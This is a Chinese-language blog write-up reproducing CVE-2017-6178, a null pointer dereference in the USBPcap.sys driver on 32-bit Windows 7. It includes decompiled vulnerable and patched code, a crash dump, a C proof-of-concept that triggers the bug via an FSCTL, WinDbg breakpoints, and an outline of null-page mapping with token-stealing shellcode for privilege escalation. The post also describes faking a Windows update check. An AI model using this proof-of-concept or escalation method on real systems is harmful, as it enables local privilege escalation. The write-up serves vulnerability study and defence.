CVE-2017-6178 漏洞复现

复现CVE-2017-6178时,还是踩了很多坑的

环境

虚拟机:Win7 SP1 x86
物理机:Win10
debugger:windbg preview
compiler:vs2022

主要为了获取x86USBPcap.sys花费了很多时间,首先根据CVE-2017-6178的漏洞描述以及exploit-db的说明,可知其实可以通过安装Wireshark-win32-2.2.5.exe得到USBPcap.sys

但是我最初的时候,通过Win7 SP x64安装,但是这样得到的是x64USBPcap.sys(我不确定是否存在洞,最后分析完了之后看x64版本是有的,其实github1.0.0.7里面也有洞,可是当时我没翻到这个文件🙃),于是我把x64上得到的USBPcapSetup-1.1.0.0-g794bf26-5.exe放到win7 x86上进行安装,最后得到了x86USBPcap.sys(直接拿32位的wireshark-2.2.5.exe安装也应该可以)

这个时候就报出,需要将win7更新到安装了KB3033929的版本,但是我已经安装了,最后在USBPcapgithub仓库的issue,找到了一个伪装自己已经安装了KB3033929的方法

通过创建一个内容为@echo KB3033929findstr.cmd文件,放入c:\windows\system32目录,并将其目录下的findstr.exe修改名字,从而实现查询时,返回已安装的结果

注:这个地方,需要重命名findstr.exe的时候需要修改findstr.exe文件的own和赋予admin权限,参考这篇博客

漏洞分析

这个漏洞其实比较简单,就是在设置dispatchHandler时,对于IRP_MJ_FILE_SYSTEM_CONTROL 0x0d,这个handler中处理出错(注:sub_1145AIRP_MJ_FILE_SYSTEM_CONTROLhandler

int __stdcall sub_1145A(int a1, PVOID Tag)
{
  _DEVICE_OBJECT *v2; // edi
  int v3; // eax
  _DEVICE_OBJECT *DriverObject; // ecx
  NTSTATUS v6; // edi
  _DEVICE_OBJECT **p_AttachedDevice; // [esp-Ch] [ebp-18h]
  int v8; // [esp+14h] [ebp+8h]

  v2 = *(_DEVICE_OBJECT **)(a1 + 40);
  v3 = IoAcquireRemoveLockEx((PIO_REMOVE_LOCK)&v2->AttachedDevice, Tag, &File, 1u, 0x18u);
  v8 = v3;
  if ( v3 >= 0 )
  {
    DriverObject = (_DEVICE_OBJECT *)v2->DriverObject;
    ++*((_BYTE *)Tag + 35);
    *((_DWORD *)Tag + 24) += 36;
    p_AttachedDevice = &v2->AttachedDevice;
    v6 = IofCallDriver(DriverObject, (PIRP)Tag);// vuln
    IoReleaseRemoveLockEx((PIO_REMOVE_LOCK)p_AttachedDevice, Tag, 0x18u);
    return v6;
  }
  else
  {
    sub_11434((PIRP)Tag, v3, 0);
    return v8;
  }
}

这个地方并未判断DriverObject是否为NULL,而导致这个未初始化的值直接传入了IofCallDriver,从而出现了空指针解引用的错误

最终crash位置

Access violation - code c0000005 (!!! second chance !!!)
eax=87b91268 ebx=86ff89f0 ecx=0000000d edx=87b911f8 esi=00000000 edi=86ff89e0
eip=83e57f7b esp=8a987ac0 ebp=8a987ac8 iopl=0         nv up ei ng nz na po cy
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010383
nt!IofCallDriver+0x57:
83e57f7b 8b4608          mov     eax,dword ptr [esi+8] ds:0023:00000008=????????

POC

因为是IRP_MJ_FILE_SYSTEM_CONTROL,所以要用FILE_DEVICE_FILE_SYSTEMIOCTL才可以

#define FILE_DEVICE_FILE_SYSTEM         0x00000009
#define FILE_DEVICE_UNKNOWN             0x00000022

最终POC是直接用的 k0keoyo师傅的POC

#include <stdio.h>
#include <windows.h>

int main(int argc, char *argv[])
{
    HANDLE hDevice;
    DWORD dwRetBytes = 0;
    hDevice = CreateFile("\\\\.\\USBPcap1", 0, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);

    if (hDevice == INVALID_HANDLE_VALUE)
    {
        printf("[-] CreateFile failed (%.08x)\n", GetLastError());
        return -1;
    }
    bResult = DeviceIoControl(hDevice, 0x00090000,(LPVOID)0x1, (DWORD)0, NULL, 0, &dwRetBytes, NULL);
    if (!bResult)
    {
        printf("[-] DeviceIOControl failed (%.08x)\n",GetLastError());
        return 0;
    }
    printf("[+] if show this info ,PoC is failed:(\n\n");
    return 0;
}

patch

修复这个漏洞也很简单,就是判断一下这个DriverObject是不是初始化的NULL

NTSTATUS __stdcall sub_402038(int a1, PVOID Tag)
{
  _DEVICE_OBJECT *v2; // ebx
  int v3; // eax
  NTSTATUS v4; // edi
  struct _DEVICE_OBJECT *DriverObject; // ecx

  v2 = *(_DEVICE_OBJECT **)(a1 + 40);
  v3 = IoAcquireRemoveLockEx((PIO_REMOVE_LOCK)&v2->AttachedDevice, Tag, &File, 1u, 0x18u);
  v4 = v3;
  if ( v3 >= 0 )
  {
    DriverObject = (struct _DEVICE_OBJECT *)v2->DriverObject;
    if ( DriverObject )
    {
      ++*((_BYTE *)Tag + 35);
      *((_DWORD *)Tag + 24) += 36;
      v4 = IofCallDriver(DriverObject, (PIRP)Tag);
    }
    else
    {
      v4 = -1073741808;
      sub_40201A((PIRP)Tag, -1073741808, 0);
    }
    IoReleaseRemoveLockEx((PIO_REMOVE_LOCK)&v2->AttachedDevice, Tag, 0x18u);
  }
  else
  {
    sub_40201A((PIRP)Tag, v3, 0);
  }
  return v4;
}

调试

调试这边踩坑特别多,最初对DeviceIoControl的流程不理解的时候,下断点的时候,一直参照其他的调试驱动出错时的nt!NtDeviceIoControlFile函数中下断点

最初是以为是,自己的条件断点不熟练,以及offset=0时,这个ebp还不是后续的ebp所以出错

nt!NtDeviceIoControlFile:
840a07a9 8bff            mov     edi,edi
840a07ab 55              push    ebp
840a07ac 8bec            mov     ebp,esp
840a07ae 6a01            push    1
840a07b0 ff752c          push    dword ptr [ebp+2Ch]
840a07b3 ff7528          push    dword ptr [ebp+28h]
840a07b6 ff7524          push    dword ptr [ebp+24h]
840a07b9 ff7520          push    dword ptr [ebp+20h]
840a07bc ff751c          push    dword ptr [ebp+1Ch]
840a07bf ff7518          push    dword ptr [ebp+18h]
840a07c2 ff7514          push    dword ptr [ebp+14h]
840a07c5 ff7510          push    dword ptr [ebp+10h]
840a07c8 ff750c          push    dword ptr [ebp+0Ch]
840a07cb ff7508          push    dword ptr [ebp+8]
840a07ce e8a682fbff      call    nt!IopXxxControlFile (84058a79)
840a07d3 5d              pop     ebp
840a07d4 c22800          ret     28h

后来才发现是因为,这个DeviceIoControl因为是#define FILE_DEVICE_FILE_SYSTEM 0x00000009,所以走的是另外一条路,应该是在nt!NtFsControlFile中下断点

最终条件断点的指令为

bp nt!NtFsControlFile+0x25 ".printf\"IOCTL:%p\",dwo(esp+0x14);.echo;g"
bp nt!NtFsControlFile+0x25 ".if(dwo(esp+0x14)=0x00090000){}.else{gc;}"
bp nt!IofCallDriver+60 ".if(ecx=0xd){}.else{gc;}"

这个地方也可以用poi,关于dwo qwo poi的区别多个条件的断点echo

该POC的整个流程

为了调试弄清DeviceIoControl从用户态如何到了驱动的dispatch Handler,我在如下地方下了断点

bp kernel32!DeviceIoControl
bp kernel32!DeviceIoControlImplementation
bp kernelbase!DeviceIoControl

发现首先会断在kernel32!DeviceIoControlImplementation,再是kernel32!DeviceIoControl,最后是kernelbase!DeviceIoControl

因此该流程应该如下

用户态的DeviceIoControl

=> 内核的ntoskrnl.exeZwDeviceIoControl函数(通过call KiSystemService

NTSTATUS __stdcall ZwDeviceIoControlFile(...)
{
  __readeflags();
  return KiSystemService(8);
}

=> 内核kernel32.dllDeviceIoControlImplementation(通过call DeviceIoControl

BOOL __stdcall DeviceIoControlImplementation(...)
{
  DWORD v8; // esi
  NTSTATUS v10; // eax

  v8 = dwIoControlCode;
  if ( dwIoControlCode != 0x2D4808 && dwIoControlCode != 0x74808 && dwIoControlCode != 0x90020
    || NtCurrentTeb()->ProcessEnvironmentBlock->SessionId == MEMORY[0x7FFE02D8] )
  {
    return DeviceIoControl(...);
  }
  v10 = IsTSAppCompatEnabled((BOOL *)&dwIoControlCode);
  if ( v10 >= 0 )
  {
    if ( dwIoControlCode && !IsCallerAdminOrSystem() )
    {
      BaseSetLastNTError(-1073741790);
      return 0;
    }
    return DeviceIoControl(...);
  }
  BaseSetLastNTError(v10);
  return 0;
}

=> 内核kernel32.dllDeviceIoControl(通过plt

// attributes: thunk
BOOL __stdcall DeviceIoControl(...)
{
  return __imp__DeviceIoControl@32(...);
}

=> 内核kernelbase.dllDeviceIoControl,在该函数通过判断是否为FILE_DEVICE_FILE_SYSTEM而判断进NtFsControlFile还是NtDeviceIoControlFile

#define FILE_DEVICE_FILE_SYSTEM         0x00000009
#define FILE_DEVICE_UNKNOWN             0x00000022
BOOL __stdcall DeviceIoControl(
        HANDLE hDevice,
        DWORD dwIoControlCode,
        LPVOID lpInBuffer,
        DWORD nInBufferSize,
        LPVOID lpOutBuffer,
        DWORD nOutBufferSize,
        LPDWORD lpBytesReturned,
        LPOVERLAPPED lpOverlapped)
{
  HANDLE hEvent; // eax
  int v9; // eax
  int Status; // eax
  struct _IO_STATUS_BLOCK IoStatusBlock; // [esp+10h] [ebp-20h] BYREF
  CPPEH_RECORD ms_exc; // [esp+18h] [ebp-18h]

  if ( !lpOverlapped )
  {
    if ( (dwIoControlCode & 0xFFFF0000) == 0x90000 )
      Status = NtFsControlFile(
                 hDevice,
                 0,
                 0,
                 0,
                 &IoStatusBlock,
                 dwIoControlCode,
                 lpInBuffer,
                 nInBufferSize,
                 lpOutBuffer,
                 nOutBufferSize);
    else
      Status = NtDeviceIoControlFile(
                 hDevice,
                 0,
                 0,
                 0,
                 &IoStatusBlock,
                 dwIoControlCode,
                 lpInBuffer,
                 nInBufferSize,
                 lpOutBuffer,
                 nOutBufferSize);
    if ( Status == 0x103 )
    {
      Status = NtWaitForSingleObject(hDevice, 0, 0);
      if ( Status < 0 )
      {
LABEL_15:
        if ( (Status & 0xC0000000) != -1073741824 )
          *lpBytesReturned = IoStatusBlock.Information;
        BaseSetLastNTError(Status);
        return 0;
      }
      Status = IoStatusBlock.Status;
    }
    if ( Status >= 0 )
    {
      *lpBytesReturned = IoStatusBlock.Information;
      return 1;
    }
    goto LABEL_15;
  }
  ....
  return 0;
}

如果是NtDeviceIoControlFile的话

=> 内核 ntdll.dll 的 ZwDeviceIoControlFile(call KiFastSystemCall)
=> 内核 ntoskrnl.exe 的 NtDeviceIoControlFile 
=> 内核 ntoskrnl.exe 的 IopXxxControlFile

如果是NtFsControlFile的话

=> 内核 ntdll.dll 的 ZwFsControlFile(call KiFastSystemCall)
=> 内核 ntoskrnl.exe 的 NtFsControlFile
=> 内核 ntoskrnl.exe 的 IopXxxControlFile

IopXxxControlFile函数会对IRP进行封装和分发,在IopXxxControlFile函数中会调用IopSynchronousServiceTail,在IopSynchronousServiceTail中会调用IofCallDriver

IofCallDriver中,对于不同的v5调用之前驱动中设置好的dispatch Handler

NTSTATUS __fastcall IofCallDriver(PDEVICE_OBJECT DeviceObject, PIRP Irp)
{
  unsigned int v4; // eax
  unsigned __int8 v5; // cl
  char v6; // al
  void *retaddr; // [esp+Ch] [ebp+4h]

  if ( pIofCallDriver )
    return pIofCallDriver(DeviceObject, Irp, retaddr);
  if ( --Irp->CurrentLocation <= 0 )
    KeBugCheckEx(0x35u, (ULONG_PTR)Irp, 0, 0, 0);
  v4 = Irp->Tail.Overlay.PacketType - 36;
  Irp->Tail.Overlay.PacketType = v4;
  v5 = *(_BYTE *)v4;
  *(_DWORD *)(v4 + 20) = DeviceObject;
  if ( v5 == 22 && ((v6 = *(_BYTE *)(v4 + 1), v6 == 2) || v6 == 3) )
    return IopPoHandleIrp();
  else
    return DeviceObject->DriverObject->MajorFunction[v5](DeviceObject, Irp);
}

其汇编为call dword ptr [eax+ecx*4+38h] : ecx = 0xd,而0xd正是IRP_MJ_FILE_SYSTEM_CONTROL

因此对于当前这个POC,其整个DeviceIoControl的流程为

UserMode!DeviceIoControl 
-> ntoskrnl!ZwDeviceIoControl 
-> kernel32!DeviceIoControlImplementation 
-> kernel32!DeviceIoControl 
-> kernelbase!DeviceIoControl 
-> ntdll!ZwFsControlFile 
-> ntoskrnl!NtDeviceIoControlFile 
-> ntoskrnl!IopXxxControlFile 
-> ntoskrnl!IopSynchronousServiceTail 
-> ntoskrnl!IofCallDriver 
-> USBPcap!IRP_MJ_FILE_SYSTEM_CONTROL_dispatch_handler

EXP

最后这个crash位置是83e57f7b 8b4608 mov eax,dword ptr [esi+8]
而此时,esi=0x0,这个内存不存在,因此出错,而win7还可以对0地址进行分配内存,因此可以直接在0地方分配内存,则最后会call [eax+ecx*4+38h],而此时,ecx=0xd,因此相当于call [0x6c]

nt!IofCallDriver+0x57:
83e74f7b 8b4608          mov     eax,dword ptr [esi+8]
83e74f7e 52              push    edx
83e74f7f 0fb6c9          movzx   ecx,cl
83e74f82 56              push    esi
83e74f83 ff548838        call    dword ptr [eax+ecx*4+38h]

按照之前的HEVD写个shellcodesteal token就可以提权,最后注意能使流程正常返回即可

总结

其实漏洞比较简单,就是在整个过程的环境搭建和调试磨了很长时间,然后熟悉了一下DeviceIoControl的整个调用链

参考

https://www.anquanke.com/post/id/86203
https://www.exploit-db.com/exploits/41542


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!